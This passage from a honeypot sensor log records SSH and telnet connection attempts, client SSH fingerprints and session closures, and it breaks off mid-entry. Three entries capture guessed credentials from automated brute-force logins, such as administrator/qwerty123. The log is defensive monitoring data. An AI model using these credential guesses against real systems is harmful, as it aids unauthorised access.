{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:01.291914Z","src_ip":"171.244.141.86","session":"93d697536c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41378,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc90a8afdc20","protocol":"telnet","message":"New connection: 204.10.38.242:41378 (159.203.135.109:23) [session: cc90a8afdc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:01.378442Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:01.550364Z","src_ip":"159.203.92.129","session":"52ed062ebb02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44588,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d03b95a5aea","protocol":"telnet","message":"New connection: 204.10.38.242:44588 (159.203.135.109:23) [session: 7d03b95a5aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:01.996563Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45458,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f7945a6a256","protocol":"telnet","message":"New connection: 204.10.38.242:45458 (159.203.135.109:23) [session: 0f7945a6a256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:02.192832Z"}
{"eventid":"cowrie.session.closed","duration":31.026510000228882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:02.413301Z","src_ip":"204.10.38.242","session":"dc3b49f7a272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47166,"dst_ip":"159.203.135.109","dst_port":23,"session":"18c861d396c2","protocol":"telnet","message":"New connection: 204.10.38.242:47166 (159.203.135.109:23) [session: 18c861d396c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:02.443931Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49414,"dst_ip":"159.203.135.109","dst_port":23,"session":"68e037097dc9","protocol":"telnet","message":"New connection: 204.10.38.242:49414 (159.203.135.109:23) [session: 68e037097dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:02.910082Z"}
{"eventid":"cowrie.session.closed","duration":30.690426111221313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:03.153838Z","src_ip":"204.10.38.242","session":"6b4ab5bd9e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53266,"dst_ip":"159.203.135.109","dst_port":23,"session":"3837b29f0589","protocol":"telnet","message":"New connection: 204.10.38.242:53266 (159.203.135.109:23) [session: 3837b29f0589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:04.778200Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":37322,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eca049f2255","protocol":"ssh","message":"New connection: 103.146.202.174:37322 (159.203.135.109:22) [session: 8eca049f2255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:05.557468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:05.563535Z","src_ip":"103.146.202.174","session":"8eca049f2255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:05.819028Z","src_ip":"103.146.202.174","session":"8eca049f2255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":39140,"dst_ip":"159.203.135.109","dst_port":23,"session":"e93b345cfaea","protocol":"telnet","message":"New connection: 204.10.38.242:39140 (159.203.135.109:23) [session: e93b345cfaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:06.596992Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"qwerty123","message":"login attempt [administrator/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:06.812089Z","src_ip":"103.146.202.174","session":"8eca049f2255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:08.056955Z","src_ip":"103.146.202.174","session":"8eca049f2255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.65001392364502,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:09.019712Z","src_ip":"204.10.38.242","session":"1310d8656646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672758102416992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:11.162925Z","src_ip":"204.10.38.242","session":"bcd403b3d95b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34440,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f43bd6cb746","protocol":"telnet","message":"New connection: 204.10.38.242:34440 (159.203.135.109:23) [session: 7f43bd6cb746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:11.699934Z"}
{"eventid":"cowrie.session.closed","duration":30.64009666442871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:14.049590Z","src_ip":"204.10.38.242","session":"08d3cf8021b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47732,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d1b31413303","protocol":"telnet","message":"New connection: 204.10.38.242:47732 (159.203.135.109:23) [session: 4d1b31413303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:14.516274Z"}
{"eventid":"cowrie.session.closed","duration":120.00150871276855,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:16.629997Z","src_ip":"204.10.38.242","session":"8696153e0a6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59568738937378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:20.037301Z","src_ip":"204.10.38.242","session":"8c73191a0d64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634371519088745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:20.184605Z","src_ip":"204.10.38.242","session":"934bacb0585b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47108,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ef69dada41","protocol":"telnet","message":"New connection: 204.10.38.242:47108 (159.203.135.109:23) [session: 92ef69dada41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:21.501472Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56422,"dst_ip":"159.203.135.109","dst_port":23,"session":"a136be525d36","protocol":"telnet","message":"New connection: 204.10.38.242:56422 (159.203.135.109:23) [session: a136be525d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:22.474043Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58040,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcb686d51a94","protocol":"telnet","message":"New connection: 204.10.38.242:58040 (159.203.135.109:23) [session: bcb686d51a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:28.941570Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57842,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5fa161b9e05","protocol":"telnet","message":"New connection: 204.10.38.242:57842 (159.203.135.109:23) [session: d5fa161b9e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:31.902404Z"}
{"eventid":"cowrie.session.closed","duration":30.760416269302368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:32.138697Z","src_ip":"204.10.38.242","session":"cc90a8afdc20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48812,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfd44645d7d1","protocol":"telnet","message":"New connection: 204.10.38.242:48812 (159.203.135.109:23) [session: dfd44645d7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:33.020786Z"}
{"eventid":"cowrie.session.closed","duration":30.9848952293396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:33.177634Z","src_ip":"204.10.38.242","session":"0f7945a6a256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.762096643447876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:33.205859Z","src_ip":"204.10.38.242","session":"18c861d396c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50024,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3912062bd1b","protocol":"telnet","message":"New connection: 204.10.38.242:50024 (159.203.135.109:23) [session: b3912062bd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:33.320649Z"}
{"eventid":"cowrie.session.closed","duration":31.485885858535767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:33.482332Z","src_ip":"204.10.38.242","session":"7d03b95a5aea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54826,"dst_ip":"159.203.135.109","dst_port":23,"session":"17445f4f1ae9","protocol":"telnet","message":"New connection: 204.10.38.242:54826 (159.203.135.109:23) [session: 17445f4f1ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:34.347664Z"}
{"eventid":"cowrie.session.closed","duration":31.59283185005188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:34.502780Z","src_ip":"204.10.38.242","session":"68e037097dc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.300122022628784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:35.078216Z","src_ip":"204.10.38.242","session":"3837b29f0589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35284,"dst_ip":"159.203.135.109","dst_port":23,"session":"521b81dfedf3","protocol":"telnet","message":"New connection: 204.10.38.242:35284 (159.203.135.109:23) [session: 521b81dfedf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:35.946231Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":38190,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ac5351406f2","protocol":"telnet","message":"New connection: 204.10.38.242:38190 (159.203.135.109:23) [session: 9ac5351406f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:36.458589Z"}
{"eventid":"cowrie.session.closed","duration":30.459222078323364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:37.056081Z","src_ip":"204.10.38.242","session":"e93b345cfaea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":57492,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7004892a33f","protocol":"telnet","message":"New connection: 204.10.38.242:57492 (159.203.135.109:23) [session: c7004892a33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:40.454472Z"}
{"eventid":"cowrie.session.closed","duration":30.49322819709778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:42.193037Z","src_ip":"204.10.38.242","session":"7f43bd6cb746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40718,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e8c9b0144ec","protocol":"ssh","message":"New connection: 159.203.92.129:40718 (159.203.135.109:22) [session: 8e8c9b0144ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:44.256483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:44.260370Z","src_ip":"159.203.92.129","session":"8e8c9b0144ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:44.264877Z","src_ip":"159.203.92.129","session":"8e8c9b0144ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Admin@123456","message":"login attempt [ansible/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:44.275313Z","src_ip":"159.203.92.129","session":"8e8c9b0144ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5882351398468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:45.104372Z","src_ip":"204.10.38.242","session":"4d1b31413303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:45.280429Z","src_ip":"159.203.92.129","session":"8e8c9b0144ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":56542,"dst_ip":"159.203.135.109","dst_port":23,"session":"e28ca7dbb448","protocol":"telnet","message":"New connection: 204.10.38.242:56542 (159.203.135.109:23) [session: e28ca7dbb448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:47.395715Z"}
{"eventid":"cowrie.session.closed","duration":31.450459003448486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:52.951799Z","src_ip":"204.10.38.242","session":"92ef69dada41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63663959503174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:56:53.110604Z","src_ip":"204.10.38.242","session":"a136be525d36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175156831741333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:00.116593Z","src_ip":"204.10.38.242","session":"bcb686d51a94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60720,"dst_ip":"10.17.0.5","dst_port":22,"session":"add67e47e2b0","protocol":"ssh","message":"New connection: 80.94.92.182:60720 (10.17.0.5:22) [session: add67e47e2b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:01.521750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:01.642597Z","src_ip":"80.94.92.182","session":"add67e47e2b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:01.646160Z","src_ip":"80.94.92.182","session":"add67e47e2b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.433855772018433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:02.336201Z","src_ip":"204.10.38.242","session":"d5fa161b9e05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51416,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a5b5e52c0f","protocol":"telnet","message":"New connection: 204.10.38.242:51416 (159.203.135.109:23) [session: f3a5b5e52c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:02.878904Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:03.074766Z","src_ip":"80.94.92.182","session":"add67e47e2b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":41298,"dst_ip":"159.203.135.109","dst_port":22,"session":"5311de56116e","protocol":"ssh","message":"New connection: 171.244.141.86:41298 (159.203.135.109:22) [session: 5311de56116e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:03.442320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:03.447523Z","src_ip":"171.244.141.86","session":"5311de56116e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54370,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b4e86d0018","protocol":"telnet","message":"New connection: 204.10.38.242:54370 (159.203.135.109:23) [session: d3b4e86d0018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:57:03.451070Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 